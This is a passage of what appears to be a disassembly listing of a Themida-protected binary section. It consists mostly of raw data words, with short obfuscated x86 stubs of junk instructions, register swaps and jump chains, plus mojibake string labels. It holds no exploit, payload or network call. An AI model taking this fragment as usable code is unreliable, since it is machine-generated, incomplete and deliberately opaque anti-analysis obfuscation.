dd 36E95EF7h db 0ABh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55985F: ; CODE XREF: Themida_:0055B52Ej sub eax, 59711670h add eax, edx add eax, 59711670h pop edx sub esp, 4 mov [esp], eax xchg esi, [esp] dec esi xchg esi, [esp] jmp loc_555BC5 ; --------------------------------------------------------------------------- dw 525Dh dd 4BAh, 5AD50100h, 7BCBE950h, 8F580000h, 248B2404h, 0E6D7E924h dd 0CB01FFFFh, 9A3EB81h, 335928F6h, 1C31241Ch, 241C3324h dd 0A22DE95Ch, 0EA83FFFFh, 0DBB5E902h, 53ADFFFFh, 0F87E07BBh dd 97EB8110h, 2DFC0B1Fh, 20962CF2h, 0F205D801h, 5B20962Ch dd 52EEF2Dh, 47C9E92Ch, 0C4810000h, 4, 83E68956h, 148904ECh dd 2E176824h, 72E90000h, 51000005h, 557147B9h, 0E0E18102h dd 0E960C350h, 0FFFFA7A2h, 6804C483h, 1CE7h, 89242C89h dd 4B951E5h, 1000000h, 0C58359CDh, 960EE904h, 0F7810000h dd 0E7A19A6h, 0CAF78147h, 0E9DC85F4h, 0D7Bh ; --------------------------------------------------------------------------- loc_559938: ; CODE XREF: Themida_:00553F7Dj xchg edi, [esp] mov esp, [esp] or edx, eax shl edx, 1 jmp loc_560240 ; --------------------------------------------------------------------------- db 89h dd 0E668240Ch, 8900000Ah, 0EC812404h, 4, 0B6241489h, 8BF088A3h dd 89532414h, 0BAB951E3h, 0C1212871h, 0A4E902E1h, 5AFFFFDFh dd 4EC81h, 14890000h, 51575524h, 595B8768h, 240C8B24h dd 4C481h, 0F1810000h, 761F5F3Ch, 24048151h, 77CD1C3Bh dd 0BBF0E9h, 43D3F700h, 81EB81h, 0C78120D0h, 68AE4B6Ah dd 0EF81DF01h, 68AE4B6Ah, 81241C8Bh, 4C4h, 425E900h, 81660000h dd 661315E9h, 0C8BC831h, 7ECAE924h, 0BD550000h, 2, 0D355E9h dd 247C0100h, 34FF5F04h, 0EEE95924h db 28h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5599EF: ; CODE XREF: Themida_:005532F2j push 1CFAh mov [esp], eax jmp loc_5516EE ; --------------------------------------------------------------------------- dd 31241433h, 0C8B2414h, 4EC8324h, 89240489h, 0BCB951E0h dd 8133334Fh, 334FB8E9h, 8702D33h, 3CE9416Bh, 0F7000065h dd 0E99C241Ch, 0FFFF7CC2h, 0A8E95759h, 81000054h, 2C1h dd 240C3300h, 33240C31h, 0E95C240Ch, 2C5Fh, 7A6B2DADh dd 0D10559F3h, 0E9290727h, 7DA5h ; --------------------------------------------------------------------------- loc_559A58: ; CODE XREF: Themida_:005643ACj mov dl, 72h push 211Ah jmp loc_557E6B ; --------------------------------------------------------------------------- dd 2AE8EB81h, 0F3013233h, 2AE8C381h, 87E93233h, 5600004Dh dd 881E94BEh, 6654E90Eh, 0C4810000h, 4, 10D468h, 24348900h dd 13D30BEh, 8588E922h, 0FF5AFFFFh, 1C8B2434h, 4C48124h dd 81000000h, 4C4h, 4ED8300h, 5C242C87h, 0FFA88BE9h, 7C30E9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559ABE: ; CODE XREF: Themida_:0056537Bj xor [esp], ebx xor ebx, [esp] mov esp, [esp] jmp loc_5666A2 ; --------------------------------------------------------------------------- dd 0EA81EA01h, 2F4F275Ah, 4C2815Dh, 87000000h, 515C2414h dd 0C27EC6B9h, 0F2BF5731h, 81100110h, 0A3611CE7h, 0E2CF8173h dd 815D5655h, 0FA5D90EFh, 61EF8149h, 10B11BAh, 243C8BF9h dd 8704C483h, 31D7F7F9h, 8732E9F9h, 0BA520000h, 236B7EE3h dd 882E281h, 0C281509Fh, 7787740Dh, 39C1CA81h, 0E9420106h dd 0C479h, 8002E3C0h, 0EB8026EBh, 5BD8288Ch, 677CE9h, 4C48100h dd 0FF000000h, 815B2434h, 4C4h, 7B94E900h, 405FFFFh, 87000000h dd 248B2404h, 0E9F02924h, 4CDh ; --------------------------------------------------------------------------- loc_559B6C: ; CODE XREF: Themida_:00552717j mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push 7C78h jmp loc_55F8A6 ; --------------------------------------------------------------------------- loc_559B88: ; CODE XREF: Themida_:0055F96Bj pop eax shl esi, 7 sub esi, 340301E2h xor eax, esi push dword ptr [esp] pop esi jmp loc_561957 ; --------------------------------------------------------------------------- db 81h, 0EAh, 0FFh dd 53023B29h, 764884BBh, 81DBF71Dh, 0C880F9F3h, 5C11E996h dd 0EA810000h, 4BFA45B7h, 0C281EA29h, 4BFA45B7h, 62A2EA81h dd 2C8B60A8h, 4C48324h, 0FF7B19E9h, 2434FFFFh, 0FF2434FFh dd 815B2434h, 4C4h, 0BB69E900h, 51ACFFFFh, 292C0BB1h, 2CE9C800h db 7Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559BF7: ; CODE XREF: Themida_:005534F3j pop ebx add esp, 4 add esp, 4 add edx, edi jmp loc_5627E4 ; --------------------------------------------------------------------------- aH?IBa db 'h?+ÒI]í',0 db 10h, 5Fh, 7Ah dd 2351F581h, 0E989B2DAh, 0E92434FFh, 0FFFF9E62h, 0E904C483h dd 0FFFF90D4h, 934CE958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_559C32: ; CODE XREF: Themida_:0055200Fj push esi jmp loc_55AC63 ; --------------------------------------------------------------------------- dd 24348B5Ah, 4C481h, 30E90000h, 56FFFFFEh, 44AAE9h, 0E9DA8900h dd 1408h ; --------------------------------------------------------------------------- loc_559C54: ; CODE XREF: Themida_:0055B721j push esi mov esi, 79EE5591h shr esi, 6 jmp loc_558E36 ; --------------------------------------------------------------------------- loc_559C62: ; CODE XREF: Themida_:00562B1Dj sub ecx, eax pop eax push edx mov edx, 35313F98h add ecx, edx pop edx mov eax, [ecx] mov ecx, [esp] add esp, 4 push dword ptr [edi+eax*4] push edx mov edx, 3EB53228h sub [esp+4], edx pop edx pop eax push 76C7h mov [esp], edi sub esp, 4 mov [esp], ecx push 99B06E7h jmp loc_553D09 ; --------------------------------------------------------------------------- dd 83240C8Bh, 56E904C4h db 46h, 2 dup(0) ; --------------------------------------------------------------------------- loc_559CAB: ; CODE XREF: Themida_:0055287Ej sub esp, 4 mov [esp], ecx jmp loc_5579DD ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 6911E9h db 0 ; --------------------------------------------------------------------------- loc_559CC1: ; CODE XREF: Themida_:00552950j add ebp, 389CFD7Eh and esi, ebp mov ebp, [esp] jmp loc_55DEF9 ; --------------------------------------------------------------------------- loc_559CD1: ; CODE XREF: Themida_:0056536Dj pop eax jmp loc_55C86D ; --------------------------------------------------------------------------- db 68h dd 3A2C46CFh, 0FFF005E9h, 0C32D5BFFh, 2D17A249h, 61FC10FFh dd 0FF05F001h, 0E961FC10h, 0B2ACh, 8124148Bh, 4C4h, 5EF70100h dd 7405EF81h, 43E9488Dh db 0C0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559D0F: ; CODE XREF: Themida_:0055CBA8j or eax, eax jnz loc_55459A push edi mov edi, 25CF514Ah mov edx, 55BDBEC6h jmp loc_55BD9F ; --------------------------------------------------------------------------- db 81h dd 0AE0F7BC3h, 0EEEB810Bh, 0E969447Bh, 0ADF7h, 4C481h dd 0E9520000h, 0AFDBh, 24048B66h, 4EC81h, 0C890000h, 81E18924h dd 4C1h, 2BB5300h, 81000000h, 114D4C1h, 0F5C1812Eh, 553CD522h dd 0D34C21BDh, 8BE92937h, 0C481242Ch, 4, 0FFBEADE9h, 64E468FFh dd 24890000h, 24048324h, 41F7E904h, 0C1810000h, 5BFE6021h dd 1CE9815Ah, 0E93DDA51h, 3603h, 1EE9D831h, 5900004Ch dd 5C24048Fh, 28568h, 241C8900h, 241C8B54h, 8104C483h dd 4C3h, 4EB8100h, 53000000h, 42474FFh, 24048F5Bh, 1BF5E9h db 0 ; --------------------------------------------------------------------------- loc_559DD9: ; CODE XREF: Themida_:00551C40j pop dword ptr [esp] mov esp, [esp] sub eax, 6CF107C4h sub eax, edi jmp loc_559199 ; --------------------------------------------------------------------------- db 81h dd 4C7h, 74FF5700h, 63E90424h, 290000B4h, 0F7485EF0h, 87BE56D8h dd 210A6309h, 34E7E9F0h, 2C8B0000h, 4C48324h, 0A2AE95Eh dd 0C1810000h, 0FFFFFFFFh, 0E988C181h, 0EC83E349h, 241C8904h dd 637D68h, 240C8900h, 0E3240481h, 5B746F7Eh, 7EE3BD55h dd 0EB29746Fh, 81242C8Bh, 4C4h, 5B5F5300h, 0E9FA0159h dd 1F16h, 80E7B551h, 0CDFE77F5h, 53BBC580h, 0FF8E06E9h dd 243C89FFh, 0FFC1E9E9h, 4E9C0FFh, 8025B753h, 0F93090EFh dd 0C830E95Bh, 0EE810000h, 52C4418Dh, 2A83E9h, 241C8B00h dd 4C481h, 97E90000h, 81FFFFB7h, 4ECh, 24048900h, 2963BF57h dd 0EF816972h, 69722961h, 815FF889h, 3A98C1h, 55C1010Ch dd 50D8E9h, 0C1815900h, 4, 6804C183h, 26E3h, 0FF240C89h dd 0E9042474h, 0FFFFFECFh, 1C8BDA89h, 4C48324h, 8103EAC1h dd 0FAB9F5EAh, 0A9A2E91Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_559EF2: ; CODE XREF: Themida_:0055CA58j not ecx push ebp push ebx mov ebx, 5772C5B1h mov ebp, ebx pop ebx add ecx, ebp pop ebp mov esi, ecx mov ecx, [esp] add esp, 4 add ecx, 61B8306Ah sub ecx, 0E882FDDh sub ecx, esi add ecx, 0E882FDDh push edx jmp loc_56178A ; --------------------------------------------------------------------------- loc_559F26: ; CODE XREF: Themida_:00556510j add ecx, 783BA5F9h add ebx, ecx mov ecx, [esp] jmp loc_556764 ; --------------------------------------------------------------------------- aLSd db '‹$$éD=',0 align 2 dw 0A52Ch dd 46346866h, 241C8966h, 0C0AAB450h, 0E95303E4h, 94A4h dd 24048B66h, 5E08950h, 4, 0EACCE952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559F66: ; CODE XREF: Themida_:00566321j add eax, 50A23BBFh add eax, 38A85152h sub ebp, 25BE20ACh add ebp, eax add ebp, 25BE20ACh pop eax sub edi, ebp mov ebp, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] jmp loc_5652FD ; --------------------------------------------------------------------------- loc_559F9B: ; CODE XREF: Themida_:0055EB03j add edx, 0A9FE200Eh xor ebp, edx jmp loc_55E45D ; --------------------------------------------------------------------------- a1S6 db '1<$éÆ6',0 align 10h dd 53912D58h, 62357104h, 89C93FBCh, 0A4E958C6h db 92h, 2 dup(0) ; --------------------------------------------------------------------------- loc_559FC3: ; CODE XREF: Themida_:00563057j pop eax and edi, edx pop edx jmp loc_565FD3 ; --------------------------------------------------------------------------- dd 2EEFBD55h, 0E8012C05h, 4EC835Dh, 52241C89h, 0FFCEF2E9h dd 53E289FFh, 4BBh, 5BDA0100h, 5FD8E9h, 48F5B00h, 0C895C24h dd 2474FF24h, 0F6F9E904h, 0A0B8FFFFh, 3179E241h, 9DE958C7h dd 10000A4h, 0D90158C1h, 190FE981h, 0E9815C9Bh, 32602415h dd 222BC181h, 34FF237Ah, 0B6CCE924h, 487FFFFh, 24248B24h dd 7668E9h, 14BF5700h, 2963301Ah, 8FECE9F8h, 0D3290000h dd 0E7C3815Ah, 0E951AC3Ah, 0FFFF9738h ; --------------------------------------------------------------------------- loc_55A054: ; CODE XREF: Themida_:00561EC3j push ecx push ebp mov ebp, esp jmp loc_5576F3 ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 4EC81h, 24890000h, 24048124h, 4, 8B2434FFh, 81E9241Ch dd 81000060h, 6074C5C3h, 1A57E94Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A086: ; CODE XREF: Themida_:00562690j add ebx, 13F3F851h push ebp mov ebp, ebx mov esi, ebp mov ebp, [esp] jmp loc_5596B4 ; --------------------------------------------------------------------------- db 0ADh, 50h, 89h dd 405E0h, 0E8830000h, 24048704h, 1325E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A0AE: ; CODE XREF: Themida_:00555362j mov ebx, esp add ebx, 4 sub ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] jmp loc_55FB45 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 81000000h, 7BBAFF3h, 0EFED81C1h, 5779E311h, 735EFBFh dd 0E9FD011Ah, 92DEh, 0ED81F501h, 25D84EFCh, 76FE95Eh dd 0D4300000h, 0EA80E230h, 55DFE9C2h, 0C1580000h, 0C38108E3h dd 1200FD9Eh, 515BD829h, 601EE0B9h, 59C8012Bh, 0FFB0BCE9h dd 0EF8766FFh, 0E9D5F766h, 7C60h, 920E8FB8h, 58C70914h dd 6F5DF781h, 0EFC115D8h, 48CA6807h, 1C890000h, 0F10BB24h dd 0DF012099h, 0C781475Bh, 18A6D75Bh, 815FFD01h, 0F5D9A9F5h dd 0FFEF01B0h, 0E95D2434h, 0FFFFA195h, 0FF240489h, 0FF042474h dd 0E9582434h, 0FFFFD563h, 5C243487h, 4EE81h, 34330000h dd 24343124h, 5C243433h, 0E9243C89h, 0FFFF843Ch, 4AF2BB53h dd 0E95709F2h, 9EBBh, 734C868h, 21BD5B4Eh, 29AC7893h, 0C5835BDDh dd 0E9DDF701h, 33Fh ; --------------------------------------------------------------------------- loc_55A1B8: ; CODE XREF: Themida_:005630A4j xchg esi, [esp] pop esp sub ecx, 4 push ecx push dword ptr [esp+4] jmp loc_558E8B ; --------------------------------------------------------------------------- dd 33240C31h, 248B240Ch, 0B0DAE924h, 4890000h, 0C08FB024h dd 570403E8h, 48BC530h, 4C48324h, 8408E9h, 5FF80100h, 83242C8Bh dd 0C73104C4h, 0FFF83158h, 815F2434h, 4C4h, 7D55E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A20E: ; CODE XREF: Themida_:0055C6A2j mov [esp], edi sub esp, 4 mov [esp], ebp mov ebp, 62713871h xor [esp+4], ebp push dword ptr [esp] jmp loc_55A72A ; --------------------------------------------------------------------------- loc_55A22B: ; CODE XREF: Themida_:0055656Fj jmp loc_5516EE ; --------------------------------------------------------------------------- dd 2F0CF02Dh, 55492D7Ch, 0A10534E7h, 57651D59h, 1856C0BFh dd 0FAB95152h, 560ABD0Bh, 5471E9h, 0FF535A00h, 8B042474h dd 5453241Ch, 48FD685Bh, 4890000h, 0E9EB824h, 0F8E91BD4h dd 0AC00006Ch, 0B4F9E9h db 0 ; --------------------------------------------------------------------------- loc_55A275: ; CODE XREF: Themida_:0055F12Aj push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 xor ebp, 8BAF7B5Ch jmp loc_566A7F ; --------------------------------------------------------------------------- dd 815EF201h, 0D46236EAh, 81FA011Ah, 0D46236C2h, 53B6E91Ah dd 15E0000h, 2D93E9CDh, 3FE90000h, 0FFFFFF74h, 148B2434h dd 382FE924h, 8A350000h, 0E97F5123h, 0B66h ; --------------------------------------------------------------------------- loc_55A2C4: ; CODE XREF: Themida_:00560E4Cj pop esp mov [esp], ebx mov ebx, 0A787E972h add ecx, ebx jmp loc_552909 ; --------------------------------------------------------------------------- loc_55A2D4: ; CODE XREF: Themida_:0055361Ej add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp xor ebp, ecx xor ecx, ebp jmp loc_55D683 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 360B68h, 240C8900h, 0FFB148E9h db 0FFh ; --------------------------------------------------------------------------- loc_55A2FD: ; CODE XREF: Themida_:0055B484j sub esp, 4 mov [esp], edx mov edx, 409158DEh push ebx mov ebx, 63D948E3h jmp loc_566357 ; --------------------------------------------------------------------------- dw 0C483h dd 0E9220404h, 0FFFFFC1Eh, 81240489h, 7DB242Ch, 478F3C73h dd 40478140h, 3C7307DBh, 0FF2434FFh, 48B2434h, 4C48124h dd 0E9000000h, 7299h, 875AD029h, 0E95C2404h, 0FFFFFD09h ; --------------------------------------------------------------------------- loc_55A354: ; CODE XREF: Themida_:00554216j xchg al, cl not cl shr cl, 6 jmp loc_563AC4 ; --------------------------------------------------------------------------- loc_55A360: ; CODE XREF: Themida_:005557E4j pop ecx add edx, 72062C50h jmp loc_554139 ; --------------------------------------------------------------------------- loc_55A36C: ; CODE XREF: Themida_:0055F653j add eax, edx mov edx, [esp] add esp, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] mov ax, [esp] push 0BB9h jmp loc_56222D ; --------------------------------------------------------------------------- dw 0E389h dd 0FFC57CE9h, 0F78147FFh, 5852851h, 311DE9h db 0 ; --------------------------------------------------------------------------- loc_55A3A1: ; CODE XREF: Themida_:0056459Ej xor ecx, 163E79B4h jmp loc_5662CF ; --------------------------------------------------------------------------- dd 0AEE908B0h db 9Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A3B3: ; CODE XREF: Themida_:005564D8j add dword ptr [esp], 4 pop ecx push edi mov edi, 48E32FBh not edi inc edi or edi, 5F71301h jmp loc_561C26 ; --------------------------------------------------------------------------- dd 10D46855h, 0F75D1CC5h, 4EDC1DDh, 2F1CED81h, 0A6E94F7Ch db 23h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55A3E3: ; CODE XREF: Themida_:00560886j mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp or eax, eax jz loc_55A7BA push 5964h jmp loc_564816 ; --------------------------------------------------------------------------- loc_55A407: ; CODE XREF: Themida_:00555833j add esp, 4 xchg edx, [esp] mov esp, [esp] mov [esp], edx mov edx, 10000h mov esi, edx mov edx, [esp] jmp loc_55BCCC ; --------------------------------------------------------------------------- db 53h, 83h, 0ECh dd 0BC1E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A42E: ; CODE XREF: Themida_:005580E7j dec ebx push 143Fh mov [esp], eax mov eax, 12051E7Fh push edi mov edi, 77442E57h shl edi, 1 dec edi shr edi, 4 sub edi, 1 and edi, 2C773F0Fh push esi mov esi, 1EF3132Fh inc esi dec esi sub esi, 0E47487Ah not esi shr esi, 6 sub esi, 0C4A1830Bh sub edi, esi pop esi jmp loc_565036 ; --------------------------------------------------------------------------- dw 3C87h dd 8DEAE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A47A: ; CODE XREF: Themida_:00561785j push 58A6h mov [esp], ebx sub esp, 4 mov [esp], eax mov eax, 3F846A32h push 5980h mov [esp], esi push edx mov edx, 2F595F4Dh jmp loc_5669D8 ; --------------------------------------------------------------------------- loc_55A4A0: ; CODE XREF: Themida_:00557355j xor ecx, eax xor eax, ecx xor ecx, ebp xor ebp, ecx xor ecx, ebp xor ebp, ecx xor ecx, ebp xor ebp, ecx jmp loc_56197A ; --------------------------------------------------------------------------- loc_55A4B5: ; CODE XREF: Themida_:00564950j mov eax, [esp] push edi jmp loc_554328 ; --------------------------------------------------------------------------- dw 8FBFh dd 0F76CC24Eh, 0C1EFD1D7h, 0D7F707EFh, 0C02FEF81h, 0F801F0B1h dd 0E7BA525Fh, 4A43F10Eh, 41B3BD55h, 0EA311C03h, 0D5D2E95Dh dd 0E95BFFFFh, 0B3Bh, 16E98DB7h, 810000A5h, 5409AEF5h dd 0C72FE92Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A502: ; CODE XREF: Themida_:0056179Cj sub ecx, eax pop eax push 32B0h mov [esp], edx jmp loc_5624FB ; --------------------------------------------------------------------------- dw 248Bh dd 4C78124h, 33000000h, 0E5E9243Ch db 64h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55A523: ; CODE XREF: Themida_:0055BEB5j push dword ptr [esp] mov ecx, [esp] add esp, 4 push 1F92h mov [esp], eax push esp pop eax add eax, 4 push ebx mov ebx, 4 add eax, ebx mov ebx, [esp] jmp loc_55DF6B ; --------------------------------------------------------------------------- loc_55A54B: ; CODE XREF: Themida_:00562142j shl esi, 5 jmp loc_5532AC ; --------------------------------------------------------------------------- aIulSd db '‰î‹,$é„À',0 dd 0F7816600h, 31664403h, 0A2E95FFEh db 91h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55A56B: ; CODE XREF: Themida_:00566D31j mov ebp, 369C2530h xor ebp, 400E129Bh push ebx mov ebx, 6D0D4230h sub ebx, 7CD67DAFh jmp loc_55F122 ; --------------------------------------------------------------------------- db 53h dd 0F6241486h, 241486D2h, 80DE865Bh, 0EEC0FFEEh, 88F68006h dd 5AF500h, 0B60F59EBh, 148B66C0h, 67A66824h, 0AEE90000h dd 89000019h, 4812424h, 424h, 0BD555800h, 4, 0B078E9h db 0 ; --------------------------------------------------------------------------- loc_55A5C9: ; CODE XREF: Themida_:0056204Cj pop esp jmp loc_5660C2 ; --------------------------------------------------------------------------- db 5Fh dd 0C781D7F7h, 4C7A6963h, 8B04E9h, 0C1835E00h, 5F7BE9FFh dd 0C4810000h, 4, 0E9240401h, 791Bh, 0E92434FFh, 0B8D1h dd 4C481h, 0C1810000h, 4, 0A497E9h, 2434FF00h, 4C4835Dh dd 555A5452h, 89485EBDh, 0C1C5817Ah, 0C145FC58h, 0E58108E5h dd 9EF1207h, 46F1E9h db 0 ; --------------------------------------------------------------------------- loc_55A631: ; CODE XREF: Themida_:005614D5j push esi mov esi, 33D56146h shl esi, 8 jmp loc_555DB4 ; --------------------------------------------------------------------------- loc_55A63F: ; CODE XREF: Themida_:005657FFj mov dl, bl pop ebx pop ecx mov bh, dl pop edx mov eax, [esp] add esp, 4 not bh push 6753h mov [esp], ecx push edx mov dl, bh mov cl, dl pop edx mov dl, cl jmp loc_5571DD ; --------------------------------------------------------------------------- db 8Bh dd 0C481242Ch, 4, 37E9BB53h, 0CB817AD0h, 24713FD6h, 0F381D3F7h dd 5AA75FE1h, 64ABBD55h, 0E58109C0h, 79A96B80h, 40A5E581h dd 0E4E92507h, 890000AAh, 2BBD55E3h, 507E2174h, 0EE2140B8h dd 58C52149h, 1520E581h, 0E8E93656h, 89FFFF97h, 243C8BF9h dd 4C481h, 0C8890000h, 24440159h, 24048B04h, 0FFC379E9h dd 20E954FFh, 830000A0h, 148704C2h, 3DE95C24h, 0F6FFFF9Dh dd 0EC380DBh, 0FFF44BE9h, 0BE959FFh db 88h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A6EF: ; CODE XREF: Themida_:0055AADFj mov [esp], edi mov edi, esp push 0B31h mov [esp], ebx mov ebx, 456440F6h push ebp mov ebp, 33F86427h xor ebx, ebp pop ebp xor ebx, 769C24D5h add edi, 68956CCCh add edi, ebx sub edi, 68956CCCh jmp loc_5571AD ; --------------------------------------------------------------------------- db 87h dd 7FFCE9D1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A72A: ; CODE XREF: Themida_:0055A226j pop ebp add esp, 4 push dword ptr [esp] pop eax push edi mov edi, esp add edi, 4 push edx mov edx, 4 add edi, edx jmp loc_561B55 ; --------------------------------------------------------------------------- loc_55A74B: ; CODE XREF: Themida_:005523D7j sub esp, 4 mov [esp], esi mov esi, 198930ACh push 7031h mov [esp], ebp mov ebp, 2BE54496h sub esi, ebp jmp loc_556B05 ; --------------------------------------------------------------------------- dw 8B5Fh dd 5457240Ch, 4C7815Fh, 53000000h, 4BBh, 0E9DF0100h, 0C536h dd 4808E0C1h, 0D0F7D8F7h, 756FE9h db 0 ; --------------------------------------------------------------------------- loc_55A791: ; CODE XREF: Themida_:00565435j pop esp push eax mov eax, esp push ebx mov ebx, 1D88742Dh sub ebx, 1D887429h add eax, ebx pop ebx push ebp mov ebp, 4 add eax, ebp jmp loc_553190 ; --------------------------------------------------------------------------- loc_55A7B1: ; CODE XREF: Themida_:00565E01j mov esi, [esp] add esp, 4 loc_55A7BA: ; CODE XREF: Themida_:005580B8j ; Themida_:0055A3F7j sub esp, 4 jmp loc_55C69A ; --------------------------------------------------------------------------- dw 0D8F7h dd 1819A105h, 58C1011Ah, 8704E983h, 248B240Ch, 24048924h dd 0E904EC83h, 44Fh ; --------------------------------------------------------------------------- loc_55A7E0: ; CODE XREF: Themida_:0055D09Ej mov ax, [esp] push ecx mov ecx, esp add ecx, 4 push ebp mov ebp, 68C30291h shl ebp, 3 shl ebp, 3 jmp loc_5601E2 ; --------------------------------------------------------------------------- dw 0D7F7h dd 93EF81h, 0FD01F8CCh, 4B15E9h, 57D8F700h, 785018BFh dd 5FF8297Fh, 5304E0C1h, 0FFB80AE9h, 0E9C221FFh, 0A1DAh ; --------------------------------------------------------------------------- loc_55A828: ; CODE XREF: Themida_:00562209j sub al, 5Eh pop ebx mov ch, al pop eax shl ch, 4 dec ch push ax jmp loc_563F08 ; --------------------------------------------------------------------------- dw 0DA87h dd 0E908E2C1h, 0FFFFBBFCh, 89C58955h, 34FF5DE9h, 0E9515824h dd 0FFFFEADCh, 0D788E288h, 8124148Bh, 4C4h, 0F8305800h dd 0FFD9F3E9h, 74FF55FFh, 0F8E90424h, 87000004h, 248B2414h dd 243C8924h, 81E68956h, 4C6h, 5261E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A88A: ; CODE XREF: Themida_:00560C51j not ebx xor edx, ebx xor ebx, edx xor edx, ebx jmp loc_5582C9 ; --------------------------------------------------------------------------- db 86h dd 2EC83F3h, 240C8966h, 88D88850h, 5C8A58C1h, 89E90224h db 0ADh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A8AF: ; CODE XREF: Themida_:0056479Bj add ebp, edx mov edx, [esp] add esp, 4 xchg ebp, [esp] mov esp, [esp] shr ecx, 0Ah sub esp, 4 jmp loc_552D96 ; --------------------------------------------------------------------------- aXXsas db 'X!ÃXé™',0 dw 5700h dd 0F260A3BFh, 8BFA2917h, 0C481243Ch, 4, 4C59B850h, 0C2315A31h dd 0EBBB5358h, 0F70D1A05h, 4EBC1D3h, 7731F381h, 99E920A9h db 0A3h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55A907: ; CODE XREF: Themida_:00551767j pop ebx pop eax add dl, al mov eax, [esp] jmp loc_5626B2 ; --------------------------------------------------------------------------- loc_55A913: ; CODE XREF: Themida_:00561ACBj inc ecx add ecx, 1 add ecx, 0EF3246ABh inc ecx push edx mov edx, 606F24A8h jmp loc_555367 ; --------------------------------------------------------------------------- dd 68241C89h, 324Eh, 81242489h, 42404h, 6EE90000h db 4Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55A943: ; CODE XREF: Themida_:0055599Ej add dword ptr [esp], 52DA49AAh pop edx sub edx, 52DA49AAh push dword ptr [esp] pop ebx push 6FC0h mov [esp], ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_553F0B ; --------------------------------------------------------------------------- db 9, 0EEh, 8Bh dd 0C481242Ch, 4, 2414F756h, 36C6815Eh, 55136807h, 8ABCE9h dd 34FF5A00h, 0DAEE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A992: ; CODE XREF: Themida_:0055D08Fj mov [esp], edx sub esp, 4 mov [esp], eax jmp loc_563CAF ; --------------------------------------------------------------------------- a_sde db '_éDe',0 align 2 dw 24B5h dd 5966E828h, 29E9F828h, 8B0000B1h, 0C483241Ch, 4C38104h dd 81000000h, 4C3h, 241C8700h, 0E9D8295Ch, 0FFFF8740h ; --------------------------------------------------------------------------- loc_55A9D0: ; CODE XREF: Themida_:0055F0CBj add esp, 4 mov bh, cl pop ecx push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 push dword ptr [esp] mov eax, [esp] sub esp, 4 mov [esp], ecx mov ecx, esp jmp loc_561401 ; --------------------------------------------------------------------------- dw 0E957h dd 0FFFF9F01h, 590460B9h, 81D9F706h, 0A85694E9h, 0E9C1490Bh dd 0E9814108h, 9453CEB7h, 88DAE9h, 241C8900h, 0F780F5B7h dd 0E9DFF66Bh, 7F12h, 34510505h, 2434FF73h, 0FF95B2E9h dd 0A1DD35FFh, 0C789ACB3h, 8BF90158h, 0C481243Ch, 4, 1277BB53h dd 56686C70h, 89000025h, 62BE2434h, 0C1218E7Ch, 0F68105EEh dd 6D7C6196h, 0B454E9h, 243C8B00h, 5204C483h, 4BAh, 0A9C78100h dd 0E919FE33h, 0B754h, 14FE68h, 24248900h, 4240481h, 5D000000h dd 4C581h, 0E9530000h, 5379h ; --------------------------------------------------------------------------- loc_55AAA4: ; CODE XREF: Themida_:005594F0j mov ebp, edi pop edi mov edx, 3E2F5861h xor edx, ebp pop ebp add esi, edx pop edx push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] push ebx jmp loc_5564FF ; --------------------------------------------------------------------------- dd 4C481h, 0E5C10000h, 215BE908h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55AAD2: ; CODE XREF: Themida_:0055D689j xor ecx, ebp xor eax, ecx xor ecx, eax xor eax, ecx push 7E6Ch jmp loc_55A6EF ; --------------------------------------------------------------------------- dd 4EC81h, 4890000h, 0A74B824h, 96BB7494h, 1F995F6h, 0F608E9C3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AAFE: ; CODE XREF: Themida_:00556671j shl dh, 1 xor dh, 31h add dh, 0D5h sub al, 76h add al, 6Eh add al, dh sub al, 6Eh push ebx mov bh, 76h jmp loc_557ADA ; --------------------------------------------------------------------------- dw 0DEBFh dd 819BD9B6h, 0FC13D7EBh, 97EB8150h, 81238D75h, 0C52BCC3h dd 50FB292Fh, 245371B8h, 4F0D406Dh, 0C160F667h, 0B0E906E0h db 82h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AB43: ; CODE XREF: Themida_:0055658Ej push 25B53551h mov eax, [esp] add esp, 4 sub eax, 25B53151h mov edi, eax mov eax, [esp] add esp, 4 